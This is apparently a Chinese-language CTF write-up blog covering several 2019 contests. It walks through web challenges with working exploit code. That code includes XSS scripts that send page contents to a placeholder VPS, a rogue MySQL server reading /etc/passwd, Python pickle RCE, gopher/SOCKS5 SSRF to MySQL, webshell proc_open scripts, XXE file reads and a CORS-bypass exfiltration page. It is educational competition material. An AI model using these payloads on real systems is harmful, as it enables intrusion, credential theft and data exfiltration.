            html += '<a href="./?action:index;True%23False">View source code</a><br />'
            html += '<a href="./?action:view;shop">Go to e-shop</a><br />'
            html += '<a href="./?action:view;reset">Reset</a><br />'
        elif page == 'shop':
            html += '<a href="./?action:buy;1">Buy a diamond (1 point)</a><br />'
        elif page == 'reset':
            del session['num_items']
            html += 'Session reset.<br />'
        html += '<a href="./?action:view;index">Go back to index.html</a><br />'
        return html
    
    
    def index_handler(args):
        bool_show_source = str(args[0])
        bool_download_source = str(args[1])
        if bool_show_source == 'True':
    
            source = open('eventLoop.py', 'r')
            html = ''
            if bool_download_source != 'True':
                html += '<a href="./?action:index;True%23True">Download this .py file</a><br />'
                html += '<a href="./?action:view;index">Go back to index.html</a><br />'
    
            for line in source:
                if bool_download_source != 'True':
                    html += line.replace('&', '&amp;').replace(
                        '\t', '&nbsp;' * 4).replace(' ', '&nbsp;').replace(
                            '<', '&lt;').replace('>', '&gt;').replace(
                                '\n', '<br />')
                else:
                    html += line
            source.close()
    
            if bool_download_source == 'True':
                headers = {}
                headers['Content-Type'] = 'text/plain'
                headers['Content-Disposition'] = 'attachment; filename=serve.py'
                return Response(html, headers=headers)
            else:
                return html
        else:
            trigger_event('action:view;index')
    
    
    def buy_handler(args):
        num_items = int(args[0])
        if num_items <= 0:
            return 'invalid number({}) of diamonds to buy<br />'.format(args[0])
        session['num_items'] += num_items
        trigger_event(
            ['func:consume_point;{}'.format(num_items), 'action:view;index'])
    
    
    def consume_point_function(args):
        point_to_consume = int(args[0])
        if session['points'] < point_to_consume: raise RollBackException()
        session['points'] -= point_to_consume
    
    
    def show_flag_function(args):
        print 'show_flag'
        flag = args[0]
        #return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it.
        return 'You naughty boy! ;) <br />'
    
    
    def get_flag_handler(args):
        print 'get_flag'
        if session['num_items'] >= 5:
            trigger_event(
                'func:show_flag;' +
                FLAG())  # show_flag_function has been disabled, no worries
        trigger_event('action:view;index')
    
    
    if __name__ == '__main__':
        app.run(debug=True, host='0.0.0.0')
    
    

    通读一遍我们即可知道,它是基于事件循环处理,它维护了一个事件队列,用trigger_event函数添加事件,在每次请求时循环处理队列

    它的URL都是这样的http://116.85.48.107:5002/d5af31f66147e857/?action:view;shop,服务器通过读取query_string,也就是?后面的字符串,然后解析:;之间的为action参数, ;之后的为params参数

    再读一遍我们即可发现端倪:

    • eval函数,明明多写几个条件判断就可以实现的功能却用了eval函数,这里可能需要利用
    • 买diamond时先加diamond数,然后判断钱不够时再利用存储在request变量里的prev_session回滚,这样也就是说不论我们的钱是否够买,都会有一个短暂时期获得了diamond,只不过请求结束时会回滚

    首先尝试eval函数,我们看到它是这样的

    event_handler = eval(
                        action + ('_handler' if is_action else '_function'))
    ret_val = event_handler(args)
    

    action就是URL里:和;之间的值,是可控的,我们尝试一下用#注释掉之后的语句可发现,我们能控制event_handler成为任意函数,(但不可调用,因为括号被过滤了)调用需要由它来调用,且传入的参数也为我们可控

    但是想尝试调用FLAG函数是不行的,因为FLAG函数0参而event_handler调用时会传入一个参数

    这时将两个漏洞点结合起来考虑:

    我们利用eval赋值event_handler为trigger_event函数,并且传入两个事件,分别为购买5个钻石和调用get_flag函数,这样的话整个请求的事件队列执行流程为:

    买五个钻石 --> 调用get_flag --> 钱不够,回滚
    

    虽然请求结束回滚了,但是在调用get_flag函数时已经将FLAG函数的结果写入日志了

    trigger_event(
                'func:show_flag;' +
                FLAG())  
    

    而日志存在session里,我们可以将session的jwt解码后读取

    故传入payload:action:trigger_event%23;action:buy;5%23action:get_flag;

    日志:

    解码后获得flag:

    3v41_3v3nt_100p_aNd_fLASK_c00k1e


    欢迎报名DDCTF

    这道题感觉中途改了很多,而且没啥营养……页面挂了我就不截图了

    提示:

    提示:XSS不是获取cookie
    提示2:之后是注入
    

    首先进入后是一个报名表单,想到肯定是XSS,而且没有任何过滤(除了过滤了”php”,因为题目需要读admin.php)。首先XSS后会在referer发现是从admin.php请求的

    读取admin.php

    报名表单传入
    <script src=http://VPS_IP/evil.js></script>
    
    // evil.js
    fetch("http://117.51.147.2/Ze02pQYLf5gGNyMn/admin.php").then(o => o.text()).then(v => fetch('http://YOUR_VPS_IP/', {method: 'POST', body: JSON.stringify({k: v})}));
    

    读到源码

    <!DOCTYPE html>
    <html lang="en">
    <head>
            <meta charset="UTF-8">
            <!--每隔30秒自动刷新-->
            <meta http- equiv="refresh" content="30">
            <title>DDCTF报名列表</title>
    </head>
    <body>
            <table  align="center" >
                    < thead>
                            <tr>
                                    <th>姓名</th>
                                    <th>昵称</th>
                                    <th>备注</th>
                                    <th>时间</th>
                    \ t</tr>
                    </thead>
                    <tbody>
                            <!-- 列表循环展示 -->
                                                    <tr>
                                    <td> 1 </td>
                                    <td> 1 </td>
                                    <td> <script src=http://xss.tf/kAD></script> </td>
                                    <td> 2019-04-17 06:11:43 </td>
    
                            </tr>
                        
                                     ...............
                        
                            </tr>
                                                    <tr>
                                    <td>
                                            <a target="_blank"  href="index.php">报名</a>
                                    </td>
    \ n                     <!-- <a target="_blank"  href="query_aIeMu0FUoVrW0NWPHbN6z4xh.php"> 接口 </a>-->
                    </tbody>
            </table>
    </bo dy>
    </html>
    

    发现注释掉的接口,访问后提示要传入param参数

    经过一番探测后发现是宽字节注入,没有任何过滤,只addslash了单引号和过滤了等号,既然过滤这么少那么就SQLMap一把梭吧:

    sqlmap.py -u "http://117.51.147.2/Ze02pQYLf5gGNyMn/query_aIeMu0FUoVrW0NWPHbN6z4xh.php?id=%df" --dbms=mysql --technique T --hex - -level 3 -D ctfdb -T ctf_fhmHRPL5 -C ctf_value --dump
    


    大吉大利,今晚吃鸡~

    这个题代码逻辑有漏洞…..注册页如果提示用户已注册的话会直接办法cookie,所以也就意味着可以登录任意账号

    进入题目需要买票,2000元但我们只有100元

    抓包创建订单链接发现价格是前端传入的,尝试修改发现只允许>0,猜测存在整形溢出,尝试uint32,传入2^32

    接着点击支付即会在后端发生溢出,成功支付

    进入后台

    需要输入id和ticket来移除对手,最后吃鸡的话才有flag。所以思路很清楚了,写脚本注册账号,提取id和ticket后给自己大号杀,让大号吃鸡

    import requests
    import time
    
    users = (str(i) for i in range(500, 1000))
    
    with open('t', 'a+') as fp:
        ts = set(fp.read().split('\n'))
        for u in users:
            time.sleep(1)
            s = requests.Session()
            r = s.get(f'http://117.51.147.155:5050/ctf/api/register?name={u}&password=12345678')
            print(f'http://117.51.147.155:5050/ctf/api/register?name={u}&password=12345678')
            try:
                resp = r.json()
            except:
                pass
            if resp['code'] != 404:
                continue
    
            r = s.get('http://38.106.21.229:5000/ctf/api/buy_ticket?ticket_price=4294967296')
            r = s.get("http://38.106.21.229:5000/ctf/api/pay_ticket?bill_id=" + r.json()['data'][0]['bill_id'])
            r = s.get('http://117.51.147.155:5050/ctf/api/search_ticket')
            try:
                resp = r.json()
            except:
                pass
        
            for tmp in resp['data']:
                _id = tmp['id'] 
                t = tmp['ticket']
                if str(_id)+'::'+t not in ts:
                    fp.write(str(_id)+'::'+t+'\n')
        
    

    批量获取ticket(养猪)

    然后杀了他们

    import requests
    import time
    
    d = open('t', 'r').read().split('\n')
    
    for i in d:
        print(i)
        time.sleep(2)
        _id = i.split('::')[0]
        t  = i.split('::')[1]
        r = requests.get(f'http://117.51.147.155:5050/ctf/api/remove_robot?id={_id}&ticket={t}', headers={'Cookie': 'user_name=YOUE_NAME; REVEL_SESSION=YOUR_TOKEN'})            
        print(r.text)
    
    
    


    mysql弱口令

    个人感觉这道题出的也挺不错

    首先需要在服务器上部署agent.py,说是代理,其实只是在服务器上执行ps然后返回结果

    #!/usr/bin/env python
    # -*- coding: utf-8 -*-
    # @Time    : 12/1/2019 2:58 PM
    # @Author  : fz
    # @Site    : 
    # @File    : agent.py
    # @Software: PyCharm
    
    import json
    from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler
    from optparse import OptionParser
    from subprocess import Popen, PIPE
    
    
    class RequestHandler(BaseHTTPRequestHandler):
    
        def do_GET(self):
            request_path = self.path
    
            print("\n----- Request Start ----->\n")
            print("request_path :", request_path)
            print("self.headers :", self.headers)
            print("<----- Request End -----\n")
    
            self.send_response(200)
            self.send_header("Set-Cookie", "foo=bar")
            self.send_header("Location", "http://127.0.0.1")
            self.end_headers()
    
            result = self._func()
            self.wfile.write(json.dumps(result))
    
    
        def do_POST(self):
            request_path = self.path
    
            # print("\n----- Request Start ----->\n")
            print("request_path : %s", request_path)
    
            request_headers = self.headers
            content_length = request_headers.getheaders('content-length')
            length = int(content_length[0]) if content_length else 0
    
            # print("length :", length)
    
            print("request_headers : %s" % request_headers)
            print("content : %s" % self.rfile.read(length))
            # print("<----- Request End -----\n")
    
            self.send_response(200)
            self.send_header("Set-Cookie", "foo=bar")
            self.end_headers()
            result = self._func()
            self.wfile.write(json.dumps(result))
    
        def _func(self):
            netstat = Popen(['netstat', '-tlnp'], stdout=PIPE)
            netstat.wait()
    
            ps_list = netstat.stdout.readlines()
            result = []
            for item in ps_list[2:]:
                tmp = item.split()
                Local_Address = tmp[3]
                Process_name = tmp[6]
                tmp_dic = {'local_address': Local_Address, 'Process_name': Process_name}
                result.append(tmp_dic)
            return result
    
        do_PUT = do_POST
        do_DELETE = do_GET
    
    
    def main():
        port = 8123
        print('Listening on localhost:%s' % port)
        server = HTTPServer(('0.0.0.0', port), RequestHandler)
        server.serve_forever()
    
    
    if __name__ == "__main__":
        parser = OptionParser()
        parser.usage = (
            "Creates an http-server that will echo out any GET or POST parameters, and respond with dummy data\n"
            "Run:\n\n")
        (options, args) = parser.parse_args()
    
        main()
    
    

    所以我们大胆猜测一下,既然是mysql弱口令,那么肯定需要我们的mysql服务器开到公网并且能够hack掉mysql客户端,联想到之前看到的LOAD DATA INFILE读取客户端任意文件

    具体请看文章https://www.anquanke.com/post/id/106488,我就不赘述了

    利用这个工具https://github.com/Gifts/Rogue-MySql-Server

    首先在服务器部署agent.py,并且将返回值固定并一定要返回mysqld(这是检测服务器是否开启mysql的),接着让题目的主机扫描你的服务器,题目的主机会 发起查询请求,我们即可读取任意文件

    首先读取/etc/passwd

    2019-04-16 10:50:03,847:INFO:Result: '\x02root:x:0:0:root:/root:/bin/bash\nbin:x:1:1:bin:/bin:/sbin/nologin\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\nadm:x:3:4:adm:/var/adm:/sbin/nologin\nlp:x:4:7:lp:/var/spool/
    ......略
    tfix:/sbin/nologin\nchrony:x:998:995::/var/lib/chrony:/sbin/nologin\ntcpdump:x:72:72::/:/sbin/nologin\ndc2-user:x:1000:1000::/home/dc2-user:/bin/bash\nmys
        ql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash\nmongod:x:997:994:mongod:/var/lib/mongo:/bin/false\nnginx:x:996:993:Nginx web server:/var/lib/nginx:/sbin/nologin\n'
    

    发现我们没有root权限,猜测我们的权限为/etc/passwd中的dc2-user:x:1000:1000::/home/dc2-user:/bin/bash

    读取该用户的历史bash命令:/home/dc2-user/.bash_history

    .......略
    'nls     \ncd ../\nls\ncd env/\nls\ncd ../\nls\ncd web_1/\nls\nls -la\ncd ../../\nls\ncd ctf_web_\ncd ctf_web_2\nls\nls -la\ncd log/\nlks\nls\ncat gunicorn.log \n;s\ncat gunicorn     .err \nls\nnetstat -plnt\nls\nps -aux | grep gunicorn\nls\ncd ../\nls\ncat start.sh \nls\ncd ../\nls\ncd ctf_web_2/\nls\ncat restart.sh \ncat start.sh \nls\ncd ../\nls\n     cd ctf_web_1/\nls\ncd web_1/\nls\ncd ../\nls\ncd ../\nls\ncd ctf_web_2/\nls\ncat restart.sh \nnetstat -plnt\nps -uax | gr)
    ...
    

    再读取程序运行的命令行:/proc/self/cmdline

    home/dc2-user/ctf_web_2/ctf_web_2/bin/python2 /home/dc2-user/ctf_web_2/ctf_web_2/bin/gunicorn didi_ctf_web2:app -b 127.0.0.1:15000 --access-logfile /home/dc2-user/ctf_web_2/2_access.log
    

    这样即可得知目录结构,我们循环着读源码(中间因为我们不知道导入的是包还是单文件,所以逐个尝试,不过大多都是包):

    最后在views.py里

    # flag in mysql  curl@localhost database:security  table:flag
    

    flag在数据库,所以我们尝试读数据库文件,首先读my.cnf确定数据存放的目录:/etc/my.cnf

    # read_rnd_buffer_size = 2M
    datadir=/var/lib/mysql
    socket=/var/lib/mysql/mysql.sock
    
    # Disabling symbolic-links is recommended to prevent assorted security risks
    symbolic-links=0
    

    这时我们即可读取数据库的文件,数据库文件每个库一个文件夹,每个表单独存放,可能是tablename.MYDtablename.idb,根据数据库引擎不同而异,读取后即可在其中找到flag

    $ strings mysql.log | grep DDCTF
    


    *CTF2019

    太菜了,Web就做出一道题,剩下两道一道页游一脸懵逼(虽然提示了跟Mongo有关),另一道tm是不是给错category了啊

    Misc做出了一道。homebrew eventloop很有意思,和DDCTF2019里的是同款,garzon大佬出的,研究了一会儿想着怎么绕过sys.stdin的赋值就可以通过py2的input函数getflag,之后提示所有bug都是有意的,又思考那个split(xx, '114514')确定是有意的吗,我觉得是作者fp写多了以为Python里列表解包能[head | tail]。最后思考了一下变量覆盖就绕过了,第二个homebrew eventloop看了一眼不知道怎么RCE

    之后….之后就去复习OS了….2019*CTF之旅end

    mywebsql

    这道题要不是有人搅屎差点就拿了三血…

    上来给了一个MyWebSQL的管理登录页,admin/admin登录后利用日志备份getshell,和phpmyadmin一样的套路

    这道题最大的挑战在getshell后要利用webshell执行/readflag,交互的计算一个表达式,搜了搜PHP开子进程的函数,找到一个proc_open,写个脚本,getflag

    import requests
    
    url = 'http://34.92.36.201:10080/backups/iv4n.php'
    
    r = requests.post(url, data={
        'ck': """$d=array(
                    0=>array("pipe","r"),
                    1=>array("pipe","w"),
                    2=>array("pipe","w")
                  );
                  $p=proc_open("/readflag",$d,$pipes);
                  $data=fread($pipes[1],65535);
                  $data=fread($pipes[1],65535);
                  echo $data."\n";
                  $calc=$data;
                  echo $calc."\n";
                  eval('$res='.$calc.";");
                  echo $res."\n";
                  $data=fread($pipes[1],65535);
                  fwrite($pipes[0],$res);
                  fclose($pipes[0]);
                  var_dump(stream_get_contents($pipes[1]));
                  fclose($pipes[1]);
                  proc_close($p);"""
        })
    
    print(r.text)
    
    

    做题时有人搅屎写了死循环删shell,然后一边另起线程死循环上传,一边执行


    homebrew eventloop

    #!/usr/bin/python
    # -*- encoding: utf-8 -*-
    # written in python 2.7
    __author__ = 'garzon'
    
    import sys
    import hashlib
    import random
    
    # private ------------------------------------------------------------
    def flag():
        # flag of stage 1
        return '*ctf{JtWCBuYlVN75pb]y8zhJem9GAH1YsUqgMEvQn_P2wd0IDRTaHjZ3i6SQXrxKkL4[FfocO}'
    
    def flag2():
        ret = ''
        # flag of stage 2
        # ret = open('flag', 'rb').read() # No more flag for you hackers in stage2!
        return ret
    
    def switch_safe_mode_factory():
        ctx = {'io_pair': [None, None]}
        def __wrapper(): (ctx['io_pair'], (sys.stdin, sys.stderr)) = ([sys.stdin, sys.stderr], ctx['io_pair'])
        return __wrapper
    
    def PoW():
        # return
        while True:
            a = (''.join([chr(random.randint(0, 0xff)) for _ in xrange(2)])).encode('hex')
            print 'hashlib.sha1(input).hexdigest() == "%s"' % a
            print '>',
            input = raw_input()
            if input == a:
                break
            print 'invalid PoW, please retry'
    
    # protected ----------------------------------------------------------
    def fib(a):
        if a <= 1: return 1
        return fib(a-1)+fib(a-2)
    
    # public -------------------------------------------------------------
    def load_flag_handler(args):
        global session
        session['log'] = flag2()
        return 'done'
    
    def ping_handler(args):
        return 'pong'
    
    def fib_handler(args):
        a = int(args[0])
        if a > 5 or a < 0: return 'out of range'
        return str(fib(a))
    
    if __name__ == '__main__':
        session = {}
        session['log'] = flag()
        switch_safe_mode = switch_safe_mode_factory()
        switch_safe_mode_factory = None
        valid_event_chars = set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789[]')
    
        while True:
            PoW()
            print '$',
            event = raw_input() # get eventName and args from the RPC requests, like: funcName114514arg1114514args2114514arg3 ...
            switch_safe_mode()
            if event == 'exit': break
    
            for c in event:
                if c not in valid_event_chars:
                    print "invalid request"
                    exit(-1)
    
            event, args = event.split('114514')
            args = args.split('114514')
            try:
                handler = eval(event)
                print handler(args)
            except Exception, e:
                print 'exception:', str(e)
    

    很简单,一开始的思路就在switch_safe_mode上,只要能恢复stdin/stdout就可以通过执行input读到session。通过白名单中的方括号,列表解析表达式变量覆盖

    #payload
    
    [[dir]for[PoW]in[[switch_safe_mode]]for[switch_safe_mode]in[[dir]]]114514
    input114514
    # 输入session即可
    
    λ python serve.py
    hashlib.sha1(input).hexdigest() == "4284"
    > 4284
    $ [[dir]for[PoW]in[[switch_safe_mode]]for[switch_safe_mode]in[[dir]]]114514
    exception: 'list' object is not callable
    $ input114514
    ['']session
    {'log': '*ctf{JtWCBuYlVN75pb]y8zhJem9GAH1YsUqgMEvQn_P2wd0IDRTaHjZ3i6SQXrxKkL4[FfocO}'}
    $
    

    CUMTCTF双月赛III

    第一次出题维护比赛,wp是出题人视角


    Web


    Web2签到

    <?php
    
    include 'flag.php';
    error_reporting(0);
    highlight_file(__FILE__);
    
    
    class P {
        private $var;
        
        function __invoke(){
            eval(
                'global '.$this -> var.';'.
                '$ret = '.$this -> var.';'
            );
            return $ret;
        }
    }
    
    
    class K {
        protected $fn;
        public $name;
        
        function __toString(){
            $fn = $this -> fn;
            return $fn();
        }
    }
    
    
    class U {
        public $obj;
    
        function __wakeup(){
            if (!isset($this->obj->name) || $this->obj->name != "iv4n") {
                $this -> obj -> fn = function(){};
            }
        }
    }
    
    
    echo unserialize($_POST['obj'])->obj; 
    

    签到反序列化,没什么好说的

    // exp
    <?php
    @error_reporting(0);
    
    class P {
        private $var;
    
        function __construct(){
            $this -> var = '$flag';
        }
    }
    
    
    class K {
        protected $fn;
        public $name;
    
        function __construct(){
            $this -> fn = new P();
        }
    }
    
    
    class U {
        public $obj;
    }
    
    
    $o = new U();
    $q = new K();
    $q -> name = "iv4n";
    $o -> obj = $q;
    
    echo urlencode(serialize($o));
    

    P.s. 两道签到题都可以getshell


    Baby Flask

    知识点

    • Github commits history信息泄露
    • /proc/self进程元信息
    • Flask伪造client-side cookie
    • Python Pickle序列化RCE

    页面注释给了Github地址,仅三个文件却有6个commits,查看历史commits

    app.config['SECRET_KEY'] = os.getenv('secret_key')
    

    密钥从环境变量中获取,结合文件读取接口获取密钥

    ?file=/proc/self/environ
    

    获取到后即可伪造Cookie,将Cookie修改为一段可RCE序列化数据,利用魔术方法__reduce__

    class U():
        def __reduce__(self):
            return (os.system, ('command here',))
    

    这里反序列化有几个点需注意:

    • Python版本问题,2和3序列化后数据不同
    • 系统问题,Python os库实际为nt库和posix库的映射

    成功RCE后即可获得flag,可选择反弹shell或执行命令重定向到文件,这里依旧有坑:

    • python-alpine镜像中没有bash,没有/dev/tcp,反弹shell需用Python fork sh进程
    • 我做了权限控制,用户没有当前目录和根目录写入权限,可写入家目录或/tmp

    最终flag在根目录


    Secret service

    知识点

    • Golang SSTI
    • MySQL SSRF via Socks5 protocol

    页面仅有一个输入点即header的X-Forwarded-For,尝试SSTI

    curl http://202.119.201.199:40102 -H "X-Forwarded-For: {{ . }}"
    

    获得数据

    map[app:chanllenge config:map[sqlConf:0xc4201c83b0 serviceConf:0xc4201c83c0]]
    

    后端传入了map[string]interface{},这里我手动加难度,传入了字符串指针,需手动访问到才会自动解引

    {{ .config.sqlConf }}
    {{ .config.serviceConf }}
    
    {{ range .config }}{{ . }}{{ end }}
    

    获得敏感信息

    socks5://202.119.201.199:40103
    
    mysql://127.0.0.1:3306
    user: iv4n
    passwd:
    database: ctf
    table: flag_1s_here_got_me
    

    很容易想到是MySQL SSRF,根据RFC1928

    +----+-----+-------+------+----------+----------+
    |VER | CMD |  RSV  | ATYP | DST.ADDR | DST.PORT |
    +----+-----+-------+------+----------+----------+
    | 1  |  1  | X'00' |  1   | Variable |    2     |
    +----+-----+-------+------+----------+----------+
    

    Socks代理实际是根据客户端控制报文的DST.ADDR与DST.PORT来与真实服务器建立TCP连接,接着双向转发数据,根据这一点,控制报文中填入内网IP即可进行SSRF

    先利用工具生成Gopher payload

    接着可利用curl -x PROXY_URL将Gopher流量传到:3306;也可自己手动控制Socks5报文传入流量;(当然直接proxychains挂代理后用mysql客户端连接也是可以的)

    curl gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%69%76%34%6e%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%26%00%00%00%03%73%65%6c%65%63%74%20%2a%20%66%72%6f%6d%20%63%74%66%2e%66%6c%61%67%5f%31%73%5f%68%65%72%65%5f%67%6f%74%5f%6d%65%01%00%00%00%01 -x "socks5://202.119.201.199:40103"
    
    # exp.py
    import socket
    
    s = socket.socket()
    s.connect(('202.119.201.199', 40103))
    s.send(b'\x05\x01\x00')
    s.recv(1024)
    s.send(b'\x05\x01\x00\x01\x7F\x00\x00\x01\x0c\xEA')
    s.recv(1024)
    
    s.send(b'\xa3\x00\x00\x01\x85\xa6\xff\x01\x00\x00\x00\x01\x21\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x69\x76\x34\x6e\x00\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00\x66\x03\x5f\x6f\x73\x05\x4c\x69\x6e\x75\x78\x0c\x5f\x63\x6c\x69\x65\x6e\x74\x5f\x6e\x61\x6d\x65\x08\x6c\x69\x62\x6d\x79\x73\x71\x6c\x04\x5f\x70\x69\x64\x05\x32\x37\x32\x35\x35\x0f\x5f\x63\x6c\x69\x65\x6e\x74\x5f\x76\x65\x72\x73\x69\x6f\x6e\x06\x35\x2e\x37\x2e\x32\x32\x09\x5f\x70\x6c\x61\x74\x66\x6f\x72\x6d\x06\x78\x38\x36\x5f\x36\x34\x0c\x70\x72\x6f\x67\x72\x61\x6d\x5f\x6e\x61\x6d\x65\x05\x6d\x79\x73\x71\x6c\x29\x00\x00\x00\x03\x73\x65\x6c\x65\x63\x74\x20\x66\x6c\x61\x67\x20\x66\x72\x6f\x6d\x20\x63\x74\x66\x2e\x66\x6c\x61\x67\x5f\x31\x73\x5f\x68\x65\x72\x65\x5f\x67\x6f\x74\x5f\x6d\x65\x01\x00\x00\x00\x01')
    
    data = s.recv(1024)
    while data:
        print(data)
        data = s.recv(1024)
    
    

    Json API

    这道题我参考了现实中Hackerone的一个Yahoo SOP绕过漏洞

    考点:

    • CORS config
    • Bypass SOP

    看到题目即知需要XSS,但是Cookie是httponly的,想直接让管理员访问/flag页面你会发现返回的数据是undefined,为什么?跨域了

    跨域方式就那几种,随便试试即可知是用了CORS头来跨域

    $ curl http://202.119.201.199:40107 -v -H "Origin: http://example.com"
    * Rebuilt URL to: http://202.119.201.199:40107/
    *   Trying 202.119.201.199...
    * TCP_NODELAY set
    * Connected to 202.119.201.199 (202.119.201.199) port 40107 (#0)
    > GET / HTTP/1.1
    > Host: 202.119.201.199:40107
    > User-Agent: curl/7.55.1
    > Accept: */*
    > Origin: http://example.com
    >
    < HTTP/1.1 200 OK
    < Server: gunicorn/19.9.0
    < Date: Sat, 11 May 2019 10:07:27 GMT
    < Connection: close
    < Content-Type: application/json
    < Content-Length: 16
    < Access-Control-Allow-Credentials: true
    < Access-Control-Allow-Origin: http://iv4n.xyz
    < Vary: Cookie
    < Set-Cookie: session=eyJ1c2VybmFtZSI6InVzZXIifQ.XNae3w.FQImaHD3-bbuJLAkmLcM5toa4GU; HttpOnly; Path=/
    <
    {"status":"ok"}
    * Closing connection 0
    

    接着就是描述提到的多个子域名*.iv4n.xyz

    CORS头配置只允许单个域名或*通配,不允许*.iv4n.com的写法

    Access-Control-Allow-Origin: http://iv4n.xyz
    Access-Control-Allow-Origin: *
    

    所以实际开发中都是动态反射来设置CORS头,这里我后台正则写的是

    domain_url = re.compile(r'^https?:\/\/(.*\.)?iv4n.xyz([^\.\-a-zA-Z0-9]+.*)?')
    

    匹配上了即为我的子域名(不同协议、不同子域名、不同端口、不同路径),便将CORS设置为Origin的值支持跨域,匹配失败即返回http://iv4n.xyz阻止跨域

    我的本意是需要用http://iv4n.xyz_.example.com进行绕过,但很不巧某些系统不支持特殊字符的域名,所以最后改写了后续判断

    传入http://iv4n.xyz.example.com会匹配到[('', '')],直接丢到if里会当做True,即可实现绕过。(按本意会匹配到[('', '_.example.com')]

    故最终的解题思路:

    1. 设置域名解析iv4n.xyz.example.com => YOUR_VPS_IP

    2. 服务器上放置payload

      <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
      "http://www.w3.org/TR/html4/loose.dtd">
      <html>
      <head>
          <meta http-equiv="content-type" content="text/html; charset=utf-8" />
          <title>VEIL</title>
          <script src="http://libs.baidu.com/jquery/1.7.2/jquery.min.js"></script>
      </head>
      <body>
          <script charset="utf-8">
               htmlobj = $.ajax({
                              url: "http://202.119.201.199:40107/admin", 
                              async: false,
                              xhrFields: {
                                  withCredentials: true
                              }});
               $.ajax({url: "http://YOUR_VPS_IP:9000/"+htmlobj.responseText, async: false});
          </script>
      </body>
      </html>
         
      
    3. 提交给管理员

    4. 接收到/admin页面的flag


    Misc

    出了两道Misc题纯粹好玩


    WHOAMI??

    偷来了中科大校赛的题,查看响应状态码为418,i’m a teapot(超文本茶壶控制协议)C/S大佬们的幽默

    居然有选手选择了爆破……而且真有人爆破出了teapot…


    Lisp

    一样的简单题

    ;; Author: Iv4n
    
    ;; input your flag-string here
    (define flag *****)
    (define final-string '(97 100 206 218 135 230 70 242 104 107 95 104 97 107 100 206 101 218 137))
    
    (define (process-flag flag)
        (define (convert i)
            (let ([iv-0 #x0c]
                  [iv-1 #x2e]
                  [iv-2 #x3a])
                (cond ((= (remainder i 3) 1) (+ (* i 2) iv-0))
                      ((= (remainder i 2) 0) (+ (/ i 2) iv-1))
                      ((> i 90) (+ i iv-0))
                      (else (+ i iv-2)))))
        (define (iter lst)
            (cond ((null? lst) '())
                  ((not (pair? lst)) (list (convert lst)))
                  (else (append (iter (car lst)) (iter (cdr lst))))))
        (iter flag))
    
    (define converted-string (process-flag flag))
    (display (if (equal? converted-string final-string)
        "Congratulations!"
        "try again~"))
    
    

    算法没什么难度,递归处理了列表,对每个值进行转换,只需要暴力找出所有值的可能解,然后笛卡尔集组合一下,最后根据flag格式筛选,找出有意义的字符串即可

    # solve.py
    a = '97 100 206 218 135 230 70 242 104 107 95 104 97 107 100 206 101 218 137'.split(' ')
    a = [int(i) for i in a]
    iv_0 = 0x0c
    iv_1 = 0x2e
    iv_2 = 0x3a
    
    res = []
    for i in a:
        t = []
        if ((i - iv_0) / 2) % 3 == 1:
            t.append(int((i - iv_0) / 2))
        t.append((i - iv_1) * 2)
        if (i - iv_0) > 90:
            t.append(i - iv_0)
        t.append(i - iv_2)
        res.append(t)
    
    
    from itertools import product
    
    for i in res:
        for w in i[:]:
            if chr(w) not in '{}1234567890_qwertyuiopasdfghjklzxcvbnm':
                i.remove(w)
    
    for r in product(*res):
        t = ''.join([chr(i) for i in r])
        if t[:5] == 'flag{' and t[-1] == '}':
            print(t)
    

    BlockChain

    pragma solidity ^0.4.24;
    
    contract Safe {
      bytes32 private passwd;
      mapping(address => bool) public isUnLocked;
      address private owner;
      event FLAG(string b64email, string slogan);
    
      function Safe(bytes32 _passwd) public {
        owner = msg.sender;
        passwd = _passwd;
      }
      
      function unlock(bytes32 _passwd) public {
        require (passwd == _passwd);
        isUnLocked[msg.sender] = true;
      }
    
      function captureTheFlag(string b64email) public{
        require (isUnLocked[msg.sender] == true);
        emit FLAG(b64email, "Congratulations to capture the flag!");
      }
    }
    

    魔改了zeppelin的题,区块链所有数据都是公有的,直接访问合约属性即可获得密码


    中关村网络与信息安全领域专项赛

    Game

    查看前端代码,$.ajax发包score=15

    Who are you

    XXE + PHP伪协议

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE a [ <!ENTITY b SYSTEM "php://filter/read=convert.base64-encode/resource=index.php"> ]>
    <feedback><author>&b;</author></feedback>
    

    Show me your image

    观察Cookie格式为Flask框架,存在文件读取接口img.php?name=,fuzz后猜测是更换了码表的base64

    由于base64是3bytes一组编码为4bytes,可以将服务端编码的字符串解码后除去末尾的.jpg后缀来达到任意文件读取

    脚本:

    import requests
    import sys
    import os
    import json
    import base64
    
    try:
        import urllib.parse as parse
    except:
        import urllib as parse
    
    filename = sys.argv[1]
    url = 'http://040e0b15532e43929b8c5f5160cb0e51420d26a57ed548a7.changame.ichunqiu.com/'
    
    r = requests.post(url+'upload.php', files={
        'file': (filename+'.jpg', b'xxx', 'image/jpeg')
        }, allow_redirects=0)
    cookie = r.headers['Set-Cookie'][8:].split(';')[0]
    
    k = os.popen('python flask_session_cookie_manager2.py decode -c '+'"'+cookie+'"')
    x = json.loads(k.read())['file'][' b']
    
    b = base64.b64decode
    def decode(s):
        return base64.b64encode(b(b(s))[:-4])
    
